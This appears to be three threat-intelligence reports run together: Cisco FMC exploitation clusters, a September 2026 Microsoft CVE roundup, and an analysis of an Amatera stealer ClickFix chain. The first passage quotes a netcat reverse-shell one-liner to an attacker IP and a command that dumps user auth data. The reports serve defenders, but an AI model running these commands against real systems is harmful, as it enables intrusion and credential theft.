The web shell was used to place a malicious JAR file in the same directory. The threat actors used the JAR file (named “cmd[.]jar”) to query the compromised systems’ internal databases to obtain user authentication data and credentials:

/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\''

The JAR file is basically a command executor that obtains the command to be executed from its command line and executes it using /bin/sh -c <command>.

Cluster #2: UAT-11823

Talos attributes this cluster of activity to UAT-11823, an advanced persistent threat (APT) actor, with high confidence. UAT-11823 overlaps in tooling with the Sandworm APT actor. The threat actor obtained initial access to compromised systems by either exploiting CVE-2026-20079 or via static credentials. After obtaining access, UAT-11823 subsequently updated the “license.tmp” file on disk (using Makeself) with a malicious copy to establish a Netcat-based reverse shell to their own command-and-control (C2) server:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f

This license file essentially acted as a Makeself package that was then executed via the installation process (as root) by the “package_info[.]pl” utility:

/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm

This mechanism of deploying malicious package files is likely an indicator of the exploitation of CVE-2026-20316, a vulnerability that allows a remote attacker to log in using a low-privileged account. Talos assesses with high confidence that the attackers exploited CVE-2026-20079 and CVE-2026-20316.

Configuration exfiltration

UAT-11823 also deployed two bash scripts to harvest managed-device configurations. The configurations collected were staged into archives for subsequent exfiltration.

Modular ELF implant: Cyclops Blink

The threat actors downloaded a modular ELF implant from one of their Netcat C2 servers. The ELF-based implant is Cyclops Blink, a malware family previously attributed to Sandworm, a Russian APT actor. This variant of Cyclops Blink consists of the following capabilities:

• Establish persistence scripts in /etc/init.d/ that execute the implant
• DNS over HTTPS (DoH) IP resolution
• File administration including downloads and uploads
• Credential harvesting
• Arbitrary file and command execution on the compromised system
• Network scanning and discovery
• Packet sniffing (with option filters)

Cluster #3: UAT-11988, a Qilin ransomware operator

A third cluster of activity entailed a ransomware operator (tracked as UAT-11988) logging into an FMC device with static credentials (CVE-2026-20316), performing extensive reconnaissance, domain enumerations, credential theft, and building a list of target endpoints within the compromised organization for encryption.

The threat actor also staged a SOCKS proxy and reverse-SSH tunnel to forward ports from internal hosts back to their own infrastructure.

Once all these preliminary actions were completed, the operator began conducting additional probes within the compromised network, deploying antivirus (AV) killers and ultimately the Qilin ransomware family.

Instrumenting operations via package_info.pl

After successfully accessing the device, the threat actor abused the legitimate utility “package_info.pl” to execute an attacker-crafted malicious “license[.]tmp” file with root privileges. The malicious file consisted of commands to run on the system to conduct extensive reconnaissance in the victim organization’s environment:

• Host names, IP addresses, directory listings
• Active Directory (AD) service-accounts credentials, MySQL account credentials
• Domain account information exfiltration
• Computer object lists
• Hostname to IP mappings spanning domain controllers, ADFS, exchanges, file servers, database servers, etc.

All the information collected was staged into already accessible files on the FMC server and was exfiltrated by the threat actor using HTTP GET requests.

Tunneling into the compromised organization

Once extensive reconnaissance was completed, the threat actor attempted to establish persistent network access into the victim organization using a Python SOCKS5 proxy (socks5.py) and a reverse-SSH tunnel from the FMC back to the attacker’s own remote host. The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).

Pre-ransomware actions and ransomware deployment

The threat actor conducted extensive probing of endpoints in the victim’s environment, deployed open-source tooling such as impacket, Invoke-TheHash, and custom-made AV killers — all followed by the deployment of the Qilin ransomware on selected endpoints.

Recommendations and detection guidance

Due to Talos identifying in the wild abuse of these CVE’s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for CVE-2026-20079 and CVE-2026-20316. A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 16th). Nonetheless, given the in the wild abuse we strongly recommend that customers apply the referenced hotfixes as soon as possible, pending the hardening release.

Customer support is also available by initiating a TAC request.

• Snort SIDs for CVE-2026-20079: 66075 – 66080.
• Snort SIDs for CVE-2026-20316: 66883.
• Snort SIDs for the malware: 66960, 66961.

Indicators of compromise

IOCs for these threat clusters are also available on our GitHub repository here. 

Microsoft has released its monthly security update for September 2026, which includes 973 vulnerabilities affecting a range of products, including 113 that Microsoft marked as "critical."

Microsoft notes that 2 of the vulnerabilities disclosed this month have been exploited in the wild:

CVE-2026-81963 affects Windows Update Stack. CVE-2026-81963 is a elevation of privilege vulnerability associated with Improper Link Resolution Before File Access ('Link Following') and Improper Access Control and has a CVSS base score of 7.8.

CVE-2026-85880 affects Windows Advanced Local Procedure Call (ALPC). CVE-2026-85880 is a elevation of privilege vulnerability associated with Heap-based Buffer Overflow and Use of Uninitialized Resource and has a CVSS base score of 7.8.

Out of 113 "critical" vulnerabilities, 82 are remote code execution (RCE) vulnerabilities.

Microsoft considers exploitation of the following vulnerabilities more likely:

CVE-2026-69676 affects Windows Kerberos. CVE-2026-69676 is a remote code execution vulnerability associated with Authentication Bypass by Capture-replay and has a CVSS base score of 8.8.

CVE-2026-69852 affects Windows Routing and Remote Access Service (RRAS). CVE-2026-69852 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.5.

CVE-2026-72957 affects Windows Deployment Services. CVE-2026-72957 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.8.

CVE-2026-69854 affects Spring Cloud Azure. CVE-2026-69854 is a elevation of privilege vulnerability associated with Improper Authentication and has a CVSS base score of 9.0.

CVE-2026-83501 affects Windows Virtualization-Based Security (VBS). CVE-2026-83501 is a information disclosure vulnerability associated with Out-of-bounds Read and has a CVSS base score of 5.5.

CVE-2026-70585 affects Windows Services for NFS ONCRPC XDR Driver. CVE-2026-70585 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 7.0.

CVE-2026-69730 affects Windows DNS Server. CVE-2026-69730 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8.

CVE-2026-69857 affects Azure Cosmos DB. CVE-2026-69857 is a spoofing vulnerability associated with Authorization Bypass Through User-Controlled Key and has a CVSS base score of 8.5.

Microsoft considers exploitation of the following vulnerabilities less likely:

CVE-2026-69845 and CVE-2026-72979 affect Windows DHCP Server. CVE-2026-69845 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and Improper Input Validation and has a CVSS base score of 9.8. CVE-2026-72979 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8.

CVE-2026-58599 affects HEVC Video Extensions. CVE-2026-58599 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.8.

CVE-2026-65772 affects Microsoft Dynamics 365 On-Premises. CVE-2026-65772 is a remote code execution vulnerability associated with Deserialization of Untrusted Data and has a CVSS base score of 8.8.

CVE-2026-66302 affects Skype for Business. CVE-2026-66302 is a remote code execution vulnerability associated with External Control of File Name or Path and has a CVSS base score of 9.8.

CVE-2026-67631, CVE-2026-65669, and CVE-2026-67378 affect Microsoft SQL Server. CVE-2026-67631 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-65669 is a elevation of privilege vulnerability associated with Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') and has a CVSS base score of 9.6. CVE-2026-67378 is a remote code execution vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 8.5.

CVE-2026-69499, CVE-2026-70296, CVE-2026-73023, CVE-2026-77495, and CVE-2026-73013 affect Windows Imaging Component. CVE-2026-69499 is a remote code execution vulnerability associated with Integer Overflow or Wraparound and has a CVSS base score of 8.8. CVE-2026-70296 is a remote code execution vulnerability associated with Out-of-bounds Write and has a CVSS base score of 9.8. CVE-2026-73023 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-77495 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-73013 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69501, CVE-2026-83939, CVE-2026-69906, and CVE-2026-69846 affect Windows Secure Kernel Mode. CVE-2026-69501 is a elevation of privilege vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 7.0. CVE-2026-83939 is a elevation of privilege vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 8.2. CVE-2026-69906 is a elevation of privilege vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.2. CVE-2026-69846 is a elevation of privilege vulnerability associated with Integer Overflow or Wraparound and has a CVSS base score of 8.2.

CVE-2026-69590 and CVE-2026-72959 affect Windows Routing and Remote Access Service (RRAS). CVE-2026-69590 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 9.8. CVE-2026-72959 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69601 affects Microsoft Windows Media Foundation. CVE-2026-69601 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-72981 affects IP Helper. CVE-2026-72981 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1.

CVE-2026-73006 affects DirectWrite. CVE-2026-73006 is a remote code execution vulnerability associated with Stack-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-73009 affects Windows Secure Socket Tunneling Protocol (SSTP). CVE-2026-73009 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8.

CVE-2026-73010 and CVE-2026-78444 affect Microsoft Failover Cluster. CVE-2026-73010 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8. CVE-2026-78444 is a remote code execution vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 8.1.

CVE-2026-73017 affects Graphics Kernel. CVE-2026-73017 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.5.

CVE-2026-77493 affects Windows Graphics Component. CVE-2026-77493 is a remote code execution vulnerability associated with Double Free and has a CVSS base score of 9.8.

CVE-2026-83498 affects Windows Virtualization-Based Security (VBS) Enclave. CVE-2026-83498 is a elevation of privilege vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 7.8.

CVE-2026-69530, CVE-2026-78449, and CVE-2026-78450 affect Windows Reliable Multicast Transport Driver (RMCAST). CVE-2026-69530 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1. CVE-2026-78449 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1. CVE-2026-78450 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1.

CVE-2026-81948, CVE-2026-81950, CVE-2026-81951, CVE-2026-81959, and CVE-2026-81953 affect Microsoft Excel. CVE-2026-81948 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.8. CVE-2026-81950 is a remote code execution vulnerability associated with Double Free and has a CVSS base score of 7.8. CVE-2026-81951 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.8. CVE-2026-81959 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and Integer Overflow or Wraparound and has a CVSS base score of 7.8. CVE-2026-81953 is a remote code execution vulnerability associated with Stack-based Buffer Overflow and has a CVSS base score of 7.8.

CVE-2026-81354 affects Windows Hello. CVE-2026-81354 is a elevation of privilege vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.2.

CVE-2026-78525, CVE-2026-78520, CVE-2026-78519, and CVE-2026-78509 affect Microsoft Office Outlook. CVE-2026-78525 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.8. CVE-2026-78520 is a remote code execution vulnerability associated with Out-of-bounds Read and has a CVSS base score of 6.5. CVE-2026-78519 is a remote code execution vulnerability associated with Use of Uninitialized Resource and has a CVSS base score of 8.8. CVE-2026-78509 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 9.8.

CVE-2026-81952 and CVE-2026-78510 affect Microsoft Word. CVE-2026-81952 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-78510 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 9.8.

CVE-2026-69595 and CVE-2026-78445 affect Windows Services for NFS ONCRPC XDR Driver. CVE-2026-69595 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8. CVE-2026-78445 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8.

CVE-2026-73018 and CVE-2026-72986 affect Graphic Fonts. CVE-2026-73018 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-72986 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and Integer Overflow or Wraparound and has a CVSS base score of 8.8.

CVE-2026-70203 affects Windows Media Player. CVE-2026-70203 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69632, CVE-2026-77898, CVE-2026-69285, and CVE-2026-78505 affect Microsoft Office. CVE-2026-69632 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.8. CVE-2026-77898 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.5. CVE-2026-69285 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-78505 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69813 and CVE-2026-77505 affect Windows DNS Server. CVE-2026-69813 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1. CVE-2026-77505 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1.

CVE-2026-78439 affects Microsoft Office Graphics Component. CVE-2026-78439 is a remote code execution vulnerability associated with Stack-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-81355 affects Virtual Hard Disk (VHD) Miniport Driver. CVE-2026-81355 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 7.5.

CVE-2026-77504 affects Microsoft Office Word. CVE-2026-77504 is a remote code execution vulnerability associated with Double Free and has a CVSS base score of 8.8.

CVE-2026-69649 affects Raw Image Extension. CVE-2026-69649 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69797, CVE-2026-69767, and CVE-2026-69678 affect Microsoft Office PowerPoint. CVE-2026-69797 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.8. CVE-2026-69767 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.8. CVE-2026-69678 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.8.

CVE-2026-72983 affects Internet Connection Sharing (ICS). CVE-2026-72983 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8.

CVE-2026-69518 affects Windows Remote Desktop. CVE-2026-69518 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69712 affects Windows Key Distribution Center. CVE-2026-69712 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.8.

Microsoft considers exploitation of the following vulnerabilities unlikely:

CVE-2026-69603, CVE-2026-72961, and CVE-2026-80083 affect Windows Hyper-V. CVE-2026-69603 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-72961 is a elevation of privilege vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.2. CVE-2026-80083 is a remote code execution vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 8.8.

CVE-2026-69710, CVE-2026-69725, CVE-2026-69740, CVE-2026-69784, CVE-2026-69799, CVE-2026-69820, CVE-2026-69864, and CVE-2026-72980 affect Windows Hello. CVE-2026-69710 is a elevation of privilege vulnerability associated with Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') and has a CVSS base score of 7.5. CVE-2026-69725 is a elevation of privilege vulnerability associated with Double Free and has a CVSS base score of 7.8. CVE-2026-69740 is a elevation of privilege vulnerability associated with Use After Free and has a CVSS base score of 8.8. CVE-2026-69784 is a elevation of privilege vulnerability associated with Use After Free and has a CVSS base score of 8.8. CVE-2026-69799 is a elevation of privilege vulnerability associated with Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') and has a CVSS base score of 7.8. CVE-2026-69820 is a elevation of privilege vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.2. CVE-2026-69864 is a elevation of privilege vulnerability associated with Use After Free and has a CVSS base score of 7.8. CVE-2026-72980 is a security feature bypass vulnerability associated with Uncontrolled Search Path Element and has a CVSS base score of 4.4.

CVE-2026-69769 affects Windows HTTP Print Provider. CVE-2026-69769 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 9.8.

CVE-2026-69829 affects Windows Shell. CVE-2026-69829 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 9.8.

CVE-2026-69860 affects Windows Imaging Component. CVE-2026-69860 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69874 affects Windows ALPC. CVE-2026-69874 is a elevation of privilege vulnerability associated with Untrusted Pointer Dereference and has a CVSS base score of 8.2.

CVE-2026-69890 affects Windows Virtual Trusted Platform Module. CVE-2026-69890 is a elevation of privilege vulnerability associated with Use After Free and has a CVSS base score of 7.5.

CVE-2026-70586 affects Windows Paint. CVE-2026-70586 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-72950 affects Windows Routing and Remote Access Service (RRAS). CVE-2026-72950 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-72954 affects Windows Deployment Services. CVE-2026-72954 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 7.5.

CVE-2026-72958 affects Windows Credential Guard. CVE-2026-72958 is a elevation of privilege vulnerability associated with Double Free and has a CVSS base score of 8.2.

CVE-2026-72960 affects Windows Media Player. CVE-2026-72960 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-72962 affects Windows USB Video Driver. CVE-2026-72962 is a elevation of privilege vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.2.

CVE-2026-72982 affects Windows Netlogon. CVE-2026-72982 is a remote code execution vulnerability associated with Stack-based Buffer Overflow and has a CVSS base score of 9.8.

CVE-2026-72987 affects Windows DNS. CVE-2026-72987 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1.

CVE-2026-81949 affects Microsoft Excel. CVE-2026-81949 is a remote code execution vulnerability associated with Integer Overflow or Wraparound and has a CVSS base score of 7.8.

CVE-2026-81352 affects Web Media Extensions. CVE-2026-81352 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-81955 affects Windows Graphics Component. CVE-2026-81955 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8.

CVE-2026-69858 and CVE-2026-69827 affect Windows DNS Server. CVE-2026-69858 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 8.1. CVE-2026-69827 is a remote code execution vulnerability associated with Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') and Use After Free and has a CVSS base score of 8.1.

CVE-2026-67643 and CVE-2026-67636 affect Microsoft SQL Server. CVE-2026-67643 is a remote code execution vulnerability associated with Heap-based Buffer Overflow and has a CVSS base score of 8.8. CVE-2026-67636 is a remote code execution vulnerability associated with Out-of-bounds Read and has a CVSS base score of 8.5.

CVE-2026-69579 affects Windows Message Queuing. CVE-2026-69579 is a remote code execution vulnerability associated with Use After Free and has a CVSS base score of 9.8.

CVE-2026-70351 affects Microsoft WebP Image Extension. CVE-2026-70351 is a remote code execution vulnerability associated with Integer Overflow or Wraparound and Heap-based Buffer Overflow and has a CVSS base score of 8.8.

Other critical vulnerabilities:

CVE-2026-62916 affects Microsoft Entra ID. CVE-2026-62916 is a elevation of privilege vulnerability associated with Authentication Bypass Using an Alternate Path or Channel and has a CVSS base score of 9.1.

CVE-2026-83941 affects Entra ID. CVE-2026-83941 is a elevation of privilege vulnerability associated with Missing Authorization and has a CVSS base score of 9.9.

CVE-2026-65818 affects Power Automate. CVE-2026-65818 is a elevation of privilege vulnerability associated with Server-Side Request Forgery (SSRF) and has a CVSS base score of 8.5.

CVE-2026-80098 affects Copilot Studio. CVE-2026-80098 is a elevation of privilege vulnerability associated with Improper Verification of Cryptographic Signature and has a CVSS base score of 9.3.

CVE-2026-83711 affects Microsoft Azure Active Directory B2C. CVE-2026-83711 is a elevation of privilege vulnerability associated with Authorization Bypass Through User-Controlled Key and has a CVSS base score of 10.0.

CVE-2026-70178 affects Microsoft Fabric. CVE-2026-70178 is a elevation of privilege vulnerability associated with Missing Authorization and has a CVSS base score of 8.5.

CVE-2026-70352 affects Azure AI Language. CVE-2026-70352 is a elevation of privilege vulnerability associated with Missing Authentication for Critical Function and has a CVSS base score of 10.0.

CVE-2026-62906 affects Microsoft Discovery Studio. CVE-2026-62906 is a information disclosure vulnerability associated with Improper Neutralization of Special Elements in Data Query Logic and has a CVSS base score of 7.4.

Talos would also like to highlight the following "important" vulnerabilities as Microsoft has determined that their exploitation is "more likely:"

CVE-2026-68846: Windows Kernel Elevation of Privilege Vulnerability

CVE-2026-68876: Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability

CVE-2026-68880: Windows Win32k Elevation of Privilege Vulnerability

CVE-2026-68884: Windows Kernel Elevation of Privilege Vulnerability

CVE-2026-69274: Windows Win32k Elevation of Privilege Vulnerability

CVE-2026-69277: Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability

CVE-2026-69301: Windows Win32k Elevation of Privilege Vulnerability

CVE-2026-69305: Microsoft Windows Search Component Elevation of Privilege Vulnerability

CVE-2026-69310: Windows DNS Elevation of Privilege Vulnerability

CVE-2026-69337: Windows Registry Elevation of Privilege Vulnerability

CVE-2026-69364: Windows Print Spooler Components Elevation of Privilege Vulnerability

CVE-2026-69385: Windows TCP/IP Elevation of Privilege Vulnerability

CVE-2026-69391: Windows Broker Infrastructure Service Elevation of Privilege Vulnerability

CVE-2026-69406: Windows Kernel Information Disclosure Vulnerability

CVE-2026-69436: Windows Error Reporting Elevation of Privilege Vulnerability

CVE-2026-69450: Windows Error Reporting Elevation of Privilege Vulnerability

CVE-2026-69451: Windows Management Instrumentation Elevation of Privilege Vulnerability

CVE-2026-69459: Windows Power Dependency Coordinator Elevation of Privilege Vulnerability

CVE-2026-69466: Windows Kernel Elevation of Privilege Vulnerability

CVE-2026-69473: Windows Kernel Elevation of Privilege Vulnerability

CVE-2026-69478: Windows Device Association Service Elevation of Privilege Vulnerability

CVE-2026-69498: Windows Win32k Elevation of Privilege Vulnerability

CVE-2026-69525: Remote Desktop Services Remote Code Execution Vulnerability

CVE-2026-69541: Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability

CVE-2026-69585: Microsoft Windows Search Component Elevation of Privilege Vulnerability

CVE-2026-69600: Microsoft Windows Search Component Elevation of Privilege Vulnerability

CVE-2026-69605: Microsoft Install Service Elevation of Privilege Vulnerability

CVE-2026-69623: Windows HTTP Print Provider Remote Code Execution Vulnerability

CVE-2026-69714: Windows Device Association Service Elevation of Privilege Vulnerability

CVE-2026-69723: Windows Kernel Information Disclosure Vulnerability

CVE-2026-69757: Windows TCP/IP Elevation of Privilege Vulnerability

CVE-2026-69777: Windows DHCP Client Elevation of Privilege Vulnerability

CVE-2026-69779: Windows Win32k Elevation of Privilege Vulnerability

CVE-2026-69832: Win32k Information Disclosure Vulnerability

CVE-2026-69911: Microsoft Windows Search Component Elevation of Privilege Vulnerability

CVE-2026-69921: Windows Print Spooler Components Elevation of Privilege Vulnerability

CVE-2026-70289: Windows Win32k Elevation of Privilege Vulnerability

CVE-2026-70342: Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

CVE-2026-70562: Windows Audio Service Elevation of Privilege Vulnerability

CVE-2026-70583: Windows Core Messaging Elevation of Privilege Vulnerability

CVE-2026-71340: Windows File History Service Elevation of Privilege Vulnerability

CVE-2026-72936: Windows SMB Client Remote Code Execution Vulnerability

CVE-2026-77500: Windows Device Association Service Elevation of Privilege Vulnerability

CVE-2026-78454: Windows CD-ROM Driver Information Disclosure Vulnerability

CVE-2026-69460: Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability

CVE-2026-69467: Microsoft Graphics Component Elevation of Privilege Vulnerability

CVE-2026-80093: Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

CVE-2026-72940: Windows Schannel Remote Code Execution Vulnerability

CVE-2026-71343: Windows Remote Access Connection Manager Remote Code Execution Vulnerability

CVE-2026-69366: Windows Kernel Elevation of Privilege Vulnerability

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.

In response to these vulnerability disclosures, Talos is releasing a new Snort ruleset that detects attempts to exploit some of them. Please note that additional rules may be released at a future date, and current rules are subject to change pending additional information. Cisco Secure Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Ruleset customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Snort 2 rule coverage: SIDs 67011-67032 and 67036-67084.

Snort 3 rule coverage: SIDs 301619-301629, 301632-301655, and 67046.

 In April 2026, Cisco Talos identified an unusual WebDAV DLL execution in endpoint telemetry from a Ukrainian government organization. The remote file was named "verification.google" and was launched through the 32-bit version of "rundll32.exe". This initial finding led us to two similar delivery chains, two different DLL loaders and two ACR/Amatera stealer payloads. Talos tracks the actor behind the observed "verification.google" activity as UAT-10820. 

Following the initial investigation, we decided to hunt for similar WebDAV and ordinal-execution patterns in an attempt to recover the full infection chain. Using VirusTotal, we were able to identify a full chain from a second DLL loader named "pf.ch".  

These two examples are a part of a wider set of recent campaigns delivering Amatera through different infection chains. In July 2026, Malwarebytes documented fake game and software downloads that used RenPy Loader, MSBuild and EtherHiding before delivering Amatera. Blackpoint Cyber described another fake-verification chain that used a signed Microsoft App-V script, configuration stored in Google Calendar and a payload concealed in a PNG image. Apart from the main payload malware family, we found no common infrastructure or other evidence linking those activities to the chains described in this post. 

Initial finding in endpoint telemetry 

The initial event that started the investigation was recorded in April 2026 and it showed an execution of a DLL file through a WebDAV UNC path together with startup of the Windows WebClient service. Apart from the initial command line, we had details of the checksum of the executed DLL but it was not clear what started the execution chain. It was time for hunting in open source intelligence repositories and Talos analytical platform. We wanted to find a similar execution with the similar loader and the payload family and ideally recover the whole infection chain which would likely point to how "verification.google" execution was triggered. This lead us to the "pf.ch" loader and the chain we discovered.  

Hunting reveals a second WebDAV delivery chain 

The "pf.ch" sample uses the same combination of WebDAV, a disguised DLL filename and ordinal execution through "rundll32.exe". We were also able to recover the full ClickFake related sequence leading to this loader. Figure 1 shows both chains, with dashed elements marking stages that were not directly recovered. With low to medium confidence, we assess that the two delivery chains are identical. 

The discovered "pf.ch" loader chain was initiated by ClearFake Javascript injected into the content of a compromised site by a malicious Cloudflare worker.  

The C2 server returned configuration instructing the stealer to download a DLL side-loading package in which a signed Chrome component sideloads a malicious NativeAOT DLL, "secur32.dll". The DLL loads ZigCryptoStealer and uses a vulnerable driver to terminate EDR software. A separate x86 shellcode loader with a Go reverse TCP proxy is also downloaded as a secondary payload by the Amatera configuration sent by the C2 server.  

The secondary payload of the "verification.google" branch as instructed by its own C2, is a PowerShell script which attempts to install a sample of NetSupport Manager remote access tool. 

ClearFake retrieves browser code from BNB Smart Chain 

The "pf.ch" branch begins likely on a compromised website. A Cloudflare Worker injects a malicious JavaScript which queries BNB Smart Chain testnet contract 0x886d310Ac23e05EA705e24E513D19f53793832A9 through "bsc-testnet-rpc[.]publicnode[.]com".  

BNB Smart Chain is a public, Ethereum-compatible blockchain hosting transactions and smart contracts. The actor uses the contract as remotely changeable storage for encoded JavaScript, a technique known as EtherHiding. Based on the operating system of the victim’s machine, the JavaScript code retrieves the next stage from the blockchain, which acts as a bulletproof hosting provider for the malicious code. Potent Pages previously documented unauthorized Cloudflare Workers querying the same first stage contract. 

The initial Javascript code contains routines to check for local and headless browser environments, identifies the operating system, and queries a second contract based on the result of the operation. If the victim is running Windows, it retrieves code from 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff and if the victim is running macOS, it uses 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5. The response is Base64 decoded and evaluated as JavaScript. 

The Windows browser stage creates a victim identifier, stores it in the cjs_id cookie and asks a tracking contract whether the goal for that identifier has already been reached. If the browser is not headless and the target is Windows, the script overlays a fake Google CAPTCHA-style checkbox onto the compromised page, instructing the victim to open the Windows Run dialog, paste the clipboard contents, and press Enter. 

​ The copied command opens a WebDAV path on a randomized subdomain of "leaguejazire[.]com", places the victim identifier in the path, and executes "pf.ch" through ordinal #1. 

Censys documented the same Windows and macOS contracts in a blockchain-backed ClickFix chain, although the downstream payloads in that reporting differ from those analyzed here. 

The macOS browser stage uses the same headless-browser checks, victim tracking, and fake verification design, but its execution chain is different. It instructs the victim to open Terminal and paste a command that uses curl with a macOS user-agent string. The request goes to a subdomain of "riyazinikokar[.]xyz". Since the subject of our initial research was a customer running Windows, we have not further pursued the macOS side of the "pf.ch" branch.  

WebDAV launches disguised DLLs 

Both observed variants retrieve a 32-bit DLL over WebDAV using a file extension name that does not indicate it is a standard DLL file. Both use the 32-bit "rundll32.exe" process and invoke a function by calling the function ordinal #1. The corresponding first exports are moor in "pf.ch" and CfgInspectModuleData in "verification.google". 

Different initial loaders 

Although the WebDAV execution pattern is the same the two initial loaders use different code and protection methods. 

"pf.ch" uses exception-driven control flow 

The "pf.ch" loader is a packed 32-bit DLL whose only named export is moor with import table containing only AddVectoredExceptionHandler and __mb_cur_max functions.  

